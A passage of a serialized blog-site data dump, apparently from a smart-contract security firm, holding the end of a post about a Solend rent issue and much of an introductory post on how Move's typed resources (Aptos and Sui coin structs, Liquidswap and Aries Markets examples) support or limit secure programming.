inconsistent.",{"type":24,"tag":25,"props":11317,"children":11318},{},[11319,11321,11328],{"type":29,"value":11320},"As a more permenant solution, Solend implemented ",{"type":24,"tag":2773,"props":11322,"children":11325},{"href":11323,"rel":11324},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[2777],[11326],{"type":29,"value":11327},"an onchain program",{"type":29,"value":11329}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":160,"depth":160,"links":11331},[11332,11333,11334,11335,11336],{"id":11023,"depth":160,"text":11026},{"id":11044,"depth":160,"text":11047},{"id":11164,"depth":160,"text":11167},{"id":11286,"depth":160,"text":11289},{"id":11307,"depth":160,"text":11310},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":11341,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11342,"description":11343,"author":11344,"image":11345,"date":11349,"isFeatured":16,"onBlogPage":16,"body":11350,"_type":8496,"_id":14878,"_source":8498,"_file":14879,"_stem":14880,"_extension":8501},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":11346,"height":11347,"width":11348},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":21,"children":11351,"toc":14873},[11352,11357,11362,11381,11387,11399,11497,11505,11625,11633,11655,11808,11813,12071,12093,12128,12133,12153,12158,12169,12181,12393,12405,12419,12432,12689,12701,12923,12928,12955,13101,13120,13125,13390,13402,13407,13420,13426,13431,13436,13448,13462,13467,13566,13578,13591,13865,13870,13882,13887,13940,13960,13965,14842,14846,14851,14856,14869],{"type":24,"tag":25,"props":11353,"children":11354},{},[11355],{"type":29,"value":11356},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":24,"tag":25,"props":11358,"children":11359},{},[11360],{"type":29,"value":11361},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":24,"tag":25,"props":11363,"children":11364},{},[11365,11367,11372,11374,11379],{"type":29,"value":11366},"In this piece I'll seek to discuss exactly ",{"type":24,"tag":8545,"props":11368,"children":11369},{},[11370],{"type":29,"value":11371},"how",{"type":29,"value":11373}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":24,"tag":8545,"props":11375,"children":11376},{},[11377],{"type":29,"value":11378},"structurally",{"type":29,"value":11380}," safer programs.",{"type":24,"tag":32,"props":11382,"children":11384},{"id":11383},"types",[11385],{"type":29,"value":11386},"Types",{"type":24,"tag":25,"props":11388,"children":11389},{},[11390,11392,11398],{"type":29,"value":11391},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":24,"tag":80,"props":11393,"children":11395},{"className":11394},[],[11396],{"type":29,"value":11397},"coin.move",{"type":29,"value":87},{"type":24,"tag":137,"props":11400,"children":11402},{"className":8614,"code":11401,"language":8613,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[11403],{"type":24,"tag":80,"props":11404,"children":11405},{"__ignoreMap":7},[11406,11414,11460,11468,11489],{"type":24,"tag":147,"props":11407,"children":11408},{"class":149,"line":150},[11409],{"type":24,"tag":147,"props":11410,"children":11411},{"style":154},[11412],{"type":29,"value":11413},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":24,"tag":147,"props":11415,"children":11416},{"class":149,"line":160},[11417,11422,11427,11431,11436,11441,11446,11451,11456],{"type":24,"tag":147,"props":11418,"children":11419},{"style":218},[11420],{"type":29,"value":11421},"  struct",{"type":24,"tag":147,"props":11423,"children":11424},{"style":9044},[11425],{"type":29,"value":11426}," Coin",{"type":24,"tag":147,"props":11428,"children":11429},{"style":235},[11430],{"type":29,"value":3583},{"type":24,"tag":147,"props":11432,"children":11433},{"style":247},[11434],{"type":29,"value":11435},"phantom",{"type":24,"tag":147,"props":11437,"children":11438},{"style":9044},[11439],{"type":29,"value":11440}," CoinType",{"type":24,"tag":147,"props":11442,"children":11443},{"style":235},[11444],{"type":29,"value":11445},"> ",{"type":24,"tag":147,"props":11447,"children":11448},{"style":247},[11449],{"type":29,"value":11450},"has",{"type":24,"tag":147,"props":11452,"children":11453},{"style":247},[11454],{"type":29,"value":11455}," store",{"type":24,"tag":147,"props":11457,"children":11458},{"style":235},[11459],{"type":29,"value":6630},{"type":24,"tag":147,"props":11461,"children":11462},{"class":149,"line":169},[11463],{"type":24,"tag":147,"props":11464,"children":11465},{"style":154},[11466],{"type":29,"value":11467},"      /// Amount of coin this address has.\n",{"type":24,"tag":147,"props":11469,"children":11470},{"class":149,"line":178},[11471,11476,11480,11485],{"type":24,"tag":147,"props":11472,"children":11473},{"style":247},[11474],{"type":29,"value":11475},"      value",{"type":24,"tag":147,"props":11477,"children":11478},{"style":241},[11479],{"type":29,"value":978},{"type":24,"tag":147,"props":11481,"children":11482},{"style":9044},[11483],{"type":29,"value":11484}," u64",{"type":24,"tag":147,"props":11486,"children":11487},{"style":235},[11488],{"type":29,"value":1549},{"type":24,"tag":147,"props":11490,"children":11491},{"class":149,"line":187},[11492],{"type":24,"tag":147,"props":11493,"children":11494},{"style":235},[11495],{"type":29,"value":11496},"  }\n",{"type":24,"tag":25,"props":11498,"children":11499},{},[11500],{"type":24,"tag":8545,"props":11501,"children":11502},{},[11503],{"type":29,"value":11504},"aptos",{"type":24,"tag":137,"props":11506,"children":11508},{"className":8614,"code":11507,"language":8613,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[11509],{"type":24,"tag":80,"props":11510,"children":11511},{"__ignoreMap":7},[11512,11520,11570,11587,11618],{"type":24,"tag":147,"props":11513,"children":11514},{"class":149,"line":150},[11515],{"type":24,"tag":147,"props":11516,"children":11517},{"style":154},[11518],{"type":29,"value":11519},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":24,"tag":147,"props":11521,"children":11522},{"class":149,"line":160},[11523,11527,11531,11535,11539,11544,11548,11552,11557,11561,11566],{"type":24,"tag":147,"props":11524,"children":11525},{"style":218},[11526],{"type":29,"value":11421},{"type":24,"tag":147,"props":11528,"children":11529},{"style":9044},[11530],{"type":29,"value":11426},{"type":24,"tag":147,"props":11532,"children":11533},{"style":235},[11534],{"type":29,"value":3583},{"type":24,"tag":147,"props":11536,"children":11537},{"style":247},[11538],{"type":29,"value":11435},{"type":24,"tag":147,"props":11540,"children":11541},{"style":9044},[11542],{"type":29,"value":11543}," T",{"type":24,"tag":147,"props":11545,"children":11546},{"style":235},[11547],{"type":29,"value":11445},{"type":24,"tag":147,"props":11549,"children":11550},{"style":247},[11551],{"type":29,"value":11450},{"type":24,"tag":147,"props":11553,"children":11554},{"style":247},[11555],{"type":29,"value":11556}," key",{"type":24,"tag":147,"props":11558,"children":11559},{"style":235},[11560],{"type":29,"value":546},{"type":24,"tag":147,"props":11562,"children":11563},{"style":247},[11564],{"type":29,"value":11565},"store",{"type":24,"tag":147,"props":11567,"children":11568},{"style":235},[11569],{"type":29,"value":6630},{"type":24,"tag":147,"props":11571,"children":11572},{"class":149,"line":169},[11573,11578,11582],{"type":24,"tag":147,"props":11574,"children":11575},{"style":247},[11576],{"type":29,"value":11577},"      id",{"type":24,"tag":147,"props":11579,"children":11580},{"style":241},[11581],{"type":29,"value":978},{"type":24,"tag":147,"props":11583,"children":11584},{"style":235},[11585],{"type":29,"value":11586}," UID,\n",{"type":24,"tag":147,"props":11588,"children":11589},{"class":149,"line":178},[11590,11595,11599,11604,11608,11613],{"type":24,"tag":147,"props":11591,"children":11592},{"style":247},[11593],{"type":29,"value":11594},"      balance",{"type":24,"tag":147,"props":11596,"children":11597},{"style":241},[11598],{"type":29,"value":978},{"type":24,"tag":147,"props":11600,"children":11601},{"style":9044},[11602],{"type":29,"value":11603}," Balance",{"type":24,"tag":147,"props":11605,"children":11606},{"style":235},[11607],{"type":29,"value":3583},{"type":24,"tag":147,"props":11609,"children":11610},{"style":9044},[11611],{"type":29,"value":11612},"T",{"type":24,"tag":147,"props":11614,"children":11615},{"style":235},[11616],{"type":29,"value":11617},">\n",{"type":24,"tag":147,"props":11619,"children":11620},{"class":149,"line":187},[11621],{"type":24,"tag":147,"props":11622,"children":11623},{"style":235},[11624],{"type":29,"value":11496},{"type":24,"tag":25,"props":11626,"children":11627},{},[11628],{"type":24,"tag":8545,"props":11629,"children":11630},{},[11631],{"type":29,"value":11632},"sui",{"type":24,"tag":25,"props":11634,"children":11635},{},[11636,11638,11645,11647,11653],{"type":29,"value":11637},"Pulling an example from ",{"type":24,"tag":2773,"props":11639,"children":11642},{"href":11640,"rel":11641},"https://pontem.network/",[2777],[11643],{"type":29,"value":11644},"Pontem Network's",{"type":29,"value":11646}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":24,"tag":80,"props":11648,"children":11650},{"className":11649},[],[11651],{"type":29,"value":11652},"LiquidityPool",{"type":29,"value":11654}," natively embeds this type information into it's fields.",{"type":24,"tag":137,"props":11656,"children":11658},{"className":8614,"code":11657,"language":8613,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[11659],{"type":24,"tag":80,"props":11660,"children":11661},{"__ignoreMap":7},[11662,11670,11734,11764,11793,11801],{"type":24,"tag":147,"props":11663,"children":11664},{"class":149,"line":150},[11665],{"type":24,"tag":147,"props":11666,"children":11667},{"style":154},[11668],{"type":29,"value":11669},"    /// Liquidity pool with reserves.\n",{"type":24,"tag":147,"props":11671,"children":11672},{"class":149,"line":160},[11673,11678,11683,11687,11691,11696,11700,11704,11709,11713,11717,11722,11726,11730],{"type":24,"tag":147,"props":11674,"children":11675},{"style":218},[11676],{"type":29,"value":11677},"    struct",{"type":24,"tag":147,"props":11679,"children":11680},{"style":9044},[11681],{"type":29,"value":11682}," LiquidityPool",{"type":24,"tag":147,"props":11684,"children":11685},{"style":235},[11686],{"type":29,"value":3583},{"type":24,"tag":147,"props":11688,"children":11689},{"style":247},[11690],{"type":29,"value":11435},{"type":24,"tag":147,"props":11692,"children":11693},{"style":9044},[11694],{"type":29,"value":11695}," X",{"type":24,"tag":147,"props":11697,"children":11698},{"style":235},[11699],{"type":29,"value":546},{"type":24,"tag":147,"props":11701,"children":11702},{"style":247},[11703],{"type":29,"value":11435},{"type":24,"tag":147,"props":11705,"children":11706},{"style":9044},[11707],{"type":29,"value":11708}," Y",{"type":24,"tag":147,"props":11710,"children":11711},{"style":235},[11712],{"type":29,"value":546},{"type":24,"tag":147,"props":11714,"children":11715},{"style":247},[11716],{"type":29,"value":11435},{"type":24,"tag":147,"props":11718,"children":11719},{"style":235},[11720],{"type":29,"value":11721}," LP> ",{"type":24,"tag":147,"props":11723,"children":11724},{"style":247},[11725],{"type":29,"value":11450},{"type":24,"tag":147,"props":11727,"children":11728},{"style":247},[11729],{"type":29,"value":11556},{"type":24,"tag":147,"props":11731,"children":11732},{"style":235},[11733],{"type":29,"value":6630},{"type":24,"tag":147,"props":11735,"children":11736},{"class":149,"line":169},[11737,11742,11746,11750,11754,11759],{"type":24,"tag":147,"props":11738,"children":11739},{"style":247},[11740],{"type":29,"value":11741},"        coin_x_reserve",{"type":24,"tag":147,"props":11743,"children":11744},{"style":241},[11745],{"type":29,"value":978},{"type":24,"tag":147,"props":11747,"children":11748},{"style":9044},[11749],{"type":29,"value":11426},{"type":24,"tag":147,"props":11751,"children":11752},{"style":235},[11753],{"type":29,"value":3583},{"type":24,"tag":147,"props":11755,"children":11756},{"style":9044},[11757],{"type":29,"value":11758},"X",{"type":24,"tag":147,"props":11760,"children":11761},{"style":235},[11762],{"type":29,"value":11763},">,\n",{"type":24,"tag":147,"props":11765,"children":11766},{"class":149,"line":178},[11767,11772,11776,11780,11784,11789],{"type":24,"tag":147,"props":11768,"children":11769},{"style":247},[11770],{"type":29,"value":11771},"        coin_y_reserve",{"type":24,"tag":147,"props":11773,"children":11774},{"style":241},[11775],{"type":29,"value":978},{"type":24,"tag":147,"props":11777,"children":11778},{"style":9044},[11779],{"type":29,"value":11426},{"type":24,"tag":147,"props":11781,"children":11782},{"style":235},[11783],{"type":29,"value":3583},{"type":24,"tag":147,"props":11785,"children":11786},{"style":9044},[11787],{"type":29,"value":11788},"Y",{"type":24,"tag":147,"props":11790,"children":11791},{"style":235},[11792],{"type":29,"value":11763},{"type":24,"tag":147,"props":11794,"children":11795},{"class":149,"line":187},[11796],{"type":24,"tag":147,"props":11797,"children":11798},{"style":154},[11799],{"type":29,"value":11800},"        // ...\n",{"type":24,"tag":147,"props":11802,"children":11803},{"class":149,"line":196},[11804],{"type":24,"tag":147,"props":11805,"children":11806},{"style":235},[11807],{"type":29,"value":1952},{"type":24,"tag":25,"props":11809,"children":11810},{},[11811],{"type":29,"value":11812},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":24,"tag":137,"props":11814,"children":11816},{"className":8614,"code":11815,"language":8613,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[11817],{"type":24,"tag":80,"props":11818,"children":11819},{"__ignoreMap":7},[11820,11859,11880,11908,11936,11987,11995,12002],{"type":24,"tag":147,"props":11821,"children":11822},{"class":149,"line":150},[11823,11828,11833,11838,11842,11846,11850,11854],{"type":24,"tag":147,"props":11824,"children":11825},{"style":247},[11826],{"type":29,"value":11827},"      public",{"type":24,"tag":147,"props":11829,"children":11830},{"style":247},[11831],{"type":29,"value":11832}," fun",{"type":24,"tag":147,"props":11834,"children":11835},{"style":247},[11836],{"type":29,"value":11837}," mint",{"type":24,"tag":147,"props":11839,"children":11840},{"style":235},[11841],{"type":29,"value":3583},{"type":24,"tag":147,"props":11843,"children":11844},{"style":9044},[11845],{"type":29,"value":11758},{"type":24,"tag":147,"props":11847,"children":11848},{"style":235},[11849],{"type":29,"value":546},{"type":24,"tag":147,"props":11851,"children":11852},{"style":9044},[11853],{"type":29,"value":11788},{"type":24,"tag":147,"props":11855,"children":11856},{"style":235},[11857],{"type":29,"value":11858},", LP>(\n",{"type":24,"tag":147,"props":11860,"children":11861},{"class":149,"line":160},[11862,11867,11871,11876],{"type":24,"tag":147,"props":11863,"children":11864},{"style":247},[11865],{"type":29,"value":11866},"          pool_addr",{"type":24,"tag":147,"props":11868,"children":11869},{"style":241},[11870],{"type":29,"value":978},{"type":24,"tag":147,"props":11872,"children":11873},{"style":247},[11874],{"type":29,"value":11875}," address",{"type":24,"tag":147,"props":11877,"children":11878},{"style":235},[11879],{"type":29,"value":1549},{"type":24,"tag":147,"props":11881,"children":11882},{"class":149,"line":169},[11883,11888,11892,11896,11900,11904],{"type":24,"tag":147,"props":11884,"children":11885},{"style":247},[11886],{"type":29,"value":11887},"          coin_x",{"type":24,"tag":147,"props":11889,"children":11890},{"style":241},[11891],{"type":29,"value":978},{"type":24,"tag":147,"props":11893,"children":11894},{"style":9044},[11895],{"type":29,"value":11426},{"type":24,"tag":147,"props":11897,"children":11898},{"style":235},[11899],{"type":29,"value":3583},{"type":24,"tag":147,"props":11901,"children":11902},{"style":9044},[11903],{"type":29,"value":11758},{"type":24,"tag":147,"props":11905,"children":11906},{"style":235},[11907],{"type":29,"value":11763},{"type":24,"tag":147,"props":11909,"children":11910},{"class":149,"line":178},[11911,11916,11920,11924,11928,11932],{"type":24,"tag":147,"props":11912,"children":11913},{"style":247},[11914],{"type":29,"value":11915},"          coin_y",{"type":24,"tag":147,"props":11917,"children":11918},{"style":241},[11919],{"type":29,"value":978},{"type":24,"tag":147,"props":11921,"children":11922},{"style":9044},[11923],{"type":29,"value":11426},{"type":24,"tag":147,"props":11925,"children":11926},{"style":235},[11927],{"type":29,"value":3583},{"type":24,"tag":147,"props":11929,"children":11930},{"style":9044},[11931],{"type":29,"value":11788},{"type":24,"tag":147,"props":11933,"children":11934},{"style":235},[11935],{"type":29,"value":11617},{"type":24,"tag":147,"props":11937,"children":11938},{"class":149,"line":187},[11939,11944,11948,11952,11956,11961,11965,11970,11974,11978,11983],{"type":24,"tag":147,"props":11940,"children":11941},{"style":235},[11942],{"type":29,"value":11943},"      )",{"type":24,"tag":147,"props":11945,"children":11946},{"style":241},[11947],{"type":29,"value":978},{"type":24,"tag":147,"props":11949,"children":11950},{"style":9044},[11951],{"type":29,"value":11426},{"type":24,"tag":147,"props":11953,"children":11954},{"style":235},[11955],{"type":29,"value":3583},{"type":24,"tag":147,"props":11957,"children":11958},{"style":9044},[11959],{"type":29,"value":11960},"LP",{"type":24,"tag":147,"props":11962,"children":11963},{"style":235},[11964],{"type":29,"value":11445},{"type":24,"tag":147,"props":11966,"children":11967},{"style":247},[11968],{"type":29,"value":11969},"acquires",{"type":24,"tag":147,"props":11971,"children":11972},{"style":9044},[11973],{"type":29,"value":11682},{"type":24,"tag":147,"props":11975,"children":11976},{"style":235},[11977],{"type":29,"value":546},{"type":24,"tag":147,"props":11979,"children":11980},{"style":9044},[11981],{"type":29,"value":11982},"EventsStore",{"type":24,"tag":147,"props":11984,"children":11985},{"style":235},[11986],{"type":29,"value":6630},{"type":24,"tag":147,"props":11988,"children":11989},{"class":149,"line":196},[11990],{"type":24,"tag":147,"props":11991,"children":11992},{"style":154},[11993],{"type":29,"value":11994},"          // ...\n",{"type":24,"tag":147,"props":11996,"children":11997},{"class":149,"line":205},[11998],{"type":24,"tag":147,"props":11999,"children":12000},{"emptyLinePlaceholder":16},[12001],{"type":29,"value":314},{"type":24,"tag":147,"props":12003,"children":12004},{"class":149,"line":214},[12005,12010,12014,12019,12023,12028,12032,12036,12041,12045,12049,12053,12057,12062,12067],{"type":24,"tag":147,"props":12006,"children":12007},{"style":218},[12008],{"type":29,"value":12009},"          let",{"type":24,"tag":147,"props":12011,"children":12012},{"style":235},[12013],{"type":29,"value":408},{"type":24,"tag":147,"props":12015,"children":12016},{"style":247},[12017],{"type":29,"value":12018},"x_reserve_size",{"type":24,"tag":147,"props":12020,"children":12021},{"style":235},[12022],{"type":29,"value":546},{"type":24,"tag":147,"props":12024,"children":12025},{"style":247},[12026],{"type":29,"value":12027},"y_reserve_size",{"type":24,"tag":147,"props":12029,"children":12030},{"style":235},[12031],{"type":29,"value":564},{"type":24,"tag":147,"props":12033,"children":12034},{"style":241},[12035],{"type":29,"value":369},{"type":24,"tag":147,"props":12037,"children":12038},{"style":247},[12039],{"type":29,"value":12040}," get_reserves_size",{"type":24,"tag":147,"props":12042,"children":12043},{"style":235},[12044],{"type":29,"value":3583},{"type":24,"tag":147,"props":12046,"children":12047},{"style":9044},[12048],{"type":29,"value":11758},{"type":24,"tag":147,"props":12050,"children":12051},{"style":235},[12052],{"type":29,"value":546},{"type":24,"tag":147,"props":12054,"children":12055},{"style":9044},[12056],{"type":29,"value":11788},{"type":24,"tag":147,"props":12058,"children":12059},{"style":235},[12060],{"type":29,"value":12061},", LP>(",{"type":24,"tag":147,"props":12063,"children":12064},{"style":247},[12065],{"type":29,"value":12066},"pool_addr",{"type":24,"tag":147,"props":12068,"children":12069},{"style":235},[12070],{"type":29,"value":1473},{"type":24,"tag":25,"props":12072,"children":12073},{},[12074,12076,12082,12084,12091],{"type":29,"value":12075},"As an aside, this generic type information is implemented at runtime in the ",{"type":24,"tag":80,"props":12077,"children":12079},{"className":12078},[],[12080],{"type":29,"value":12081},"ty_args",{"type":29,"value":12083}," ",{"type":24,"tag":2773,"props":12085,"children":12088},{"href":12086,"rel":12087},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[2777],[12089],{"type":29,"value":12090},"at the vm level",{"type":29,"value":12092},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":24,"tag":25,"props":12094,"children":12095},{},[12096,12098,12104,12106,12112,12114,12120,12121,12127],{"type":29,"value":12097},"In pseucode, this checks that ",{"type":24,"tag":80,"props":12099,"children":12101},{"className":12100},[],[12102],{"type":29,"value":12103},"coin_x.type",{"type":29,"value":12105}," is equal to ",{"type":24,"tag":80,"props":12107,"children":12109},{"className":12108},[],[12110],{"type":29,"value":12111},"pool.x_type",{"type":29,"value":12113},", and ",{"type":24,"tag":80,"props":12115,"children":12117},{"className":12116},[],[12118],{"type":29,"value":12119},"coin_y.type",{"type":29,"value":12105},{"type":24,"tag":80,"props":12122,"children":12124},{"className":12123},[],[12125],{"type":29,"value":12126},"pool.y_type",{"type":29,"value":87},{"type":24,"tag":25,"props":12129,"children":12130},{},[12131],{"type":29,"value":12132},"This type system has two advantages",{"type":24,"tag":2674,"props":12134,"children":12135},{},[12136,12148],{"type":24,"tag":2678,"props":12137,"children":12138},{},[12139,12141,12146],{"type":29,"value":12140},"It's required. The type parameter ",{"type":24,"tag":8545,"props":12142,"children":12143},{},[12144],{"type":29,"value":12145},"must",{"type":29,"value":12147}," be specified so it's impossible to forget such a constraint",{"type":24,"tag":2678,"props":12149,"children":12150},{},[12151],{"type":29,"value":12152},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":24,"tag":25,"props":12154,"children":12155},{},[12156],{"type":29,"value":12157},"However, this system isn't perfect.",{"type":24,"tag":25,"props":12159,"children":12160},{},[12161,12163,12168],{"type":29,"value":12162},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":24,"tag":10949,"props":12164,"children":12165},{},[12166],{"type":29,"value":12167},"an anti-pattern",{"type":29,"value":87},{"type":24,"tag":25,"props":12170,"children":12171},{},[12172,12174,12180],{"type":29,"value":12173},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":24,"tag":80,"props":12175,"children":12177},{"className":12176},[],[12178],{"type":29,"value":12179},"CoinInfo\u003CCoinType>",{"type":29,"value":87},{"type":24,"tag":137,"props":12182,"children":12184},{"className":8614,"code":12183,"language":8613,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[12185],{"type":24,"tag":80,"props":12186,"children":12187},{"__ignoreMap":7},[12188,12215,12223,12292,12299,12306,12318,12363,12385],{"type":24,"tag":147,"props":12189,"children":12190},{"class":149,"line":150},[12191,12196,12201,12205,12210],{"type":24,"tag":147,"props":12192,"children":12193},{"style":247},[12194],{"type":29,"value":12195},"  fun",{"type":24,"tag":147,"props":12197,"children":12198},{"style":247},[12199],{"type":29,"value":12200}," initialize_internal",{"type":24,"tag":147,"props":12202,"children":12203},{"style":235},[12204],{"type":29,"value":3583},{"type":24,"tag":147,"props":12206,"children":12207},{"style":9044},[12208],{"type":29,"value":12209},"CoinType",{"type":24,"tag":147,"props":12211,"children":12212},{"style":235},[12213],{"type":29,"value":12214},">(\n",{"type":24,"tag":147,"props":12216,"children":12217},{"class":149,"line":160},[12218],{"type":24,"tag":147,"props":12219,"children":12220},{"style":154},[12221],{"type":29,"value":12222},"      // ...\n",{"type":24,"tag":147,"props":12224,"children":12225},{"class":149,"line":169},[12226,12231,12235,12239,12244,12248,12252,12257,12262,12266,12270,12274,12279,12283,12287],{"type":24,"tag":147,"props":12227,"children":12228},{"style":235},[12229],{"type":29,"value":12230},"  )",{"type":24,"tag":147,"props":12232,"children":12233},{"style":241},[12234],{"type":29,"value":978},{"type":24,"tag":147,"props":12236,"children":12237},{"style":235},[12238],{"type":29,"value":408},{"type":24,"tag":147,"props":12240,"children":12241},{"style":9044},[12242],{"type":29,"value":12243},"BurnCapability",{"type":24,"tag":147,"props":12245,"children":12246},{"style":235},[12247],{"type":29,"value":3583},{"type":24,"tag":147,"props":12249,"children":12250},{"style":9044},[12251],{"type":29,"value":12209},{"type":24,"tag":147,"props":12253,"children":12254},{"style":235},[12255],{"type":29,"value":12256},">, ",{"type":24,"tag":147,"props":12258,"children":12259},{"style":9044},[12260],{"type":29,"value":12261},"FreezeCapability",{"type":24,"tag":147,"props":12263,"children":12264},{"style":235},[12265],{"type":29,"value":3583},{"type":24,"tag":147,"props":12267,"children":12268},{"style":9044},[12269],{"type":29,"value":12209},{"type":24,"tag":147,"props":12271,"children":12272},{"style":235},[12273],{"type":29,"value":12256},{"type":24,"tag":147,"props":12275,"children":12276},{"style":9044},[12277],{"type":29,"value":12278},"MintCapability",{"type":24,"tag":147,"props":12280,"children":12281},{"style":235},[12282],{"type":29,"value":3583},{"type":24,"tag":147,"props":12284,"children":12285},{"style":9044},[12286],{"type":29,"value":12209},{"type":24,"tag":147,"props":12288,"children":12289},{"style":235},[12290],{"type":29,"value":12291},">) {\n",{"type":24,"tag":147,"props":12293,"children":12294},{"class":149,"line":178},[12295],{"type":24,"tag":147,"props":12296,"children":12297},{"style":154},[12298],{"type":29,"value":12222},{"type":24,"tag":147,"props":12300,"children":12301},{"class":149,"line":187},[12302],{"type":24,"tag":147,"props":12303,"children":12304},{"emptyLinePlaceholder":16},[12305],{"type":29,"value":314},{"type":24,"tag":147,"props":12307,"children":12308},{"class":149,"line":196},[12309,12314],{"type":24,"tag":147,"props":12310,"children":12311},{"style":229},[12312],{"type":29,"value":12313},"      assert!",{"type":24,"tag":147,"props":12315,"children":12316},{"style":235},[12317],{"type":29,"value":9088},{"type":24,"tag":147,"props":12319,"children":12320},{"class":149,"line":205},[12321,12326,12331,12335,12340,12344,12348,12353,12358],{"type":24,"tag":147,"props":12322,"children":12323},{"style":241},[12324],{"type":29,"value":12325},"          !",{"type":24,"tag":147,"props":12327,"children":12328},{"style":247},[12329],{"type":29,"value":12330},"exists",{"type":24,"tag":147,"props":12332,"children":12333},{"style":235},[12334],{"type":29,"value":3583},{"type":24,"tag":147,"props":12336,"children":12337},{"style":9044},[12338],{"type":29,"value":12339},"CoinInfo",{"type":24,"tag":147,"props":12341,"children":12342},{"style":235},[12343],{"type":29,"value":3583},{"type":24,"tag":147,"props":12345,"children":12346},{"style":9044},[12347],{"type":29,"value":12209},{"type":24,"tag":147,"props":12349,"children":12350},{"style":235},[12351],{"type":29,"value":12352},">>(",{"type":24,"tag":147,"props":12354,"children":12355},{"style":247},[12356],{"type":29,"value":12357},"account_addr",{"type":24,"tag":147,"props":12359,"children":12360},{"style":235},[12361],{"type":29,"value":12362},"),\n",{"type":24,"tag":147,"props":12364,"children":12365},{"class":149,"line":214},[12366,12371,12375,12380],{"type":24,"tag":147,"props":12367,"children":12368},{"style":235},[12369],{"type":29,"value":12370},"          error",{"type":24,"tag":147,"props":12372,"children":12373},{"style":241},[12374],{"type":29,"value":9106},{"type":24,"tag":147,"props":12376,"children":12377},{"style":229},[12378],{"type":29,"value":12379},"already_exists",{"type":24,"tag":147,"props":12381,"children":12382},{"style":235},[12383],{"type":29,"value":12384},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":24,"tag":147,"props":12386,"children":12387},{"class":149,"line":272},[12388],{"type":24,"tag":147,"props":12389,"children":12390},{"style":235},[12391],{"type":29,"value":12392},"      );\n",{"type":24,"tag":25,"props":12394,"children":12395},{},[12396,12398,12403],{"type":29,"value":12397},"While this ",{"type":24,"tag":80,"props":12399,"children":12401},{"className":12400},[],[12402],{"type":29,"value":12339},{"type":29,"value":12404}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":24,"tag":25,"props":12406,"children":12407},{},[12408,12410,12417],{"type":29,"value":12409},"Similarly, consider ",{"type":24,"tag":2773,"props":12411,"children":12414},{"href":12412,"rel":12413},"https://ariesmarkets.xyz/",[2777],[12415],{"type":29,"value":12416},"Aries Markets",{"type":29,"value":12418},", a lending/borrowing protocol building on Aptos.",{"type":24,"tag":25,"props":12420,"children":12421},{},[12422,12424,12430],{"type":29,"value":12423},"Their ",{"type":24,"tag":80,"props":12425,"children":12427},{"className":12426},[],[12428],{"type":29,"value":12429},"ReserveCoinContainer",{"type":29,"value":12431}," struct stores all the relevant data and resources for managing a lending market.",{"type":24,"tag":137,"props":12433,"children":12435},{"className":8614,"code":12434,"language":8613,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  